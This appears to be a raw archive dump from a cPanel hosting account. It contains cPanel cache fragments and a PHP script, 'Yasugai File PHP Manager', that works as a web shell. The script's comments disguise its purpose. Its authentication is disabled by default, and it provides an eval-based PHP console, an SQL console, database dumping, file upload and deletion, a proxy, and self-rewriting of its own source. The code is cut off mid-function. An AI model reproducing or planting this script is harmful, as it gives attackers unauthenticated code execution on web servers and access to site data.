LmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----","is_primary_on_ip":0,"needs_sni":1}]}} reseller_SORTEDRESELLERSUSERS_kbdhpghp 0000600 00000000311 15105745077 0013334 0 ustar 00 {"status":1,"version":"2.4","statusmsg":"Ran adminbin Cpanel/reseller/SORTEDRESELLERSUSERS","mode":"full","action":"fetch","exit_code":0,"error":0,"data":[["kbdhpghp","wpsolution.com.br"]],"timeout":0} _Cpanel::Quota.pm__kbdhpghp 0000600 00000000121 15105745077 0011644 0 ustar 00 {"VERSION":"2.5","data":[14983593984,139586437120,124602843136,335008,null,null]} Cpanel::MysqlRun::running 0000600 00000000036 15105745077 0011357 0 ustar 00 {"version":"10.11.11-MariaDB"} _usr_local_cpanel_cpanel_-F 0000600 00000000010 15105745077 0011771 0 ustar 00 vps,vps
file.php 0000644 00000324502 15105745077 0006215 0 ustar 00 <?php
/* Yasugai File PHP Manager Version 2.4 */
// default file manager for Samsung devices with robust features
$authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// Mobile version of the classic desktop file manager
// open-source file manager with a clean interface and basic features
$startororimy = explode(' ', microtime());
$startororimy = $startororimy[1] + $startororimy[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_now = ''; // Validate file type before processing
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Primarily an archive manager that also serves as a file manager
$auth_mydevice = json_decode($authorizationBorjuis,true);
$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0;
$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;
$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';
$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';
$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';
$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';
// Archive all files in the selected directory
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, // Compress the selected files into a zip archive
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // Extract files from the compressed archive
'show_gt' => true, // Retrieve file metadata such as size and type
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;
else $fmo_config = unserialize($_COOKIE['fm_config']);
// Write file data to the specified path
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language_benros = $default_language;
// Read file content from the input stream
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language_benros = $lng;
break;
}
}
}
}
// Verify user permissions for file access
$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];
// Log errors encountered during file operations
$lang_hearts = json_decode($translation,true);
if ($lang_hearts['id']!=$language_benros) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_now .= __('File updated');
} else $msg_now .= __('Error occurred');
if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang_hearts = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang_hearts;
if (isset($lang_hearts[$text])) return $lang_hearts[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($filename_with_extension) {
if (!empty($filename_with_extension)) {
if (file_exists($filename_with_extension)) {
header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($filename_with_extension));
flush(); // this doesn't really matter.
$fp = fopen($filename_with_extension, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fmo_config;
return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);
}
function fm_sql($query){
global $fmo_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fmo_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fmo_config;
$return = !empty($fmo_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth_mydevice['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {
setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));
$_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);
}
}
if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language_benros).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth_mydevice['cookie_name']]);
setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fmo_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));
$_COOKIE['fm_config'] = serialize($fmo_config);
$msg_now = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_now .= __('File updated');
if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth_mydevice = $_POST['fm_login'];
}
else $msg_now .= __('Error occurred');
if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
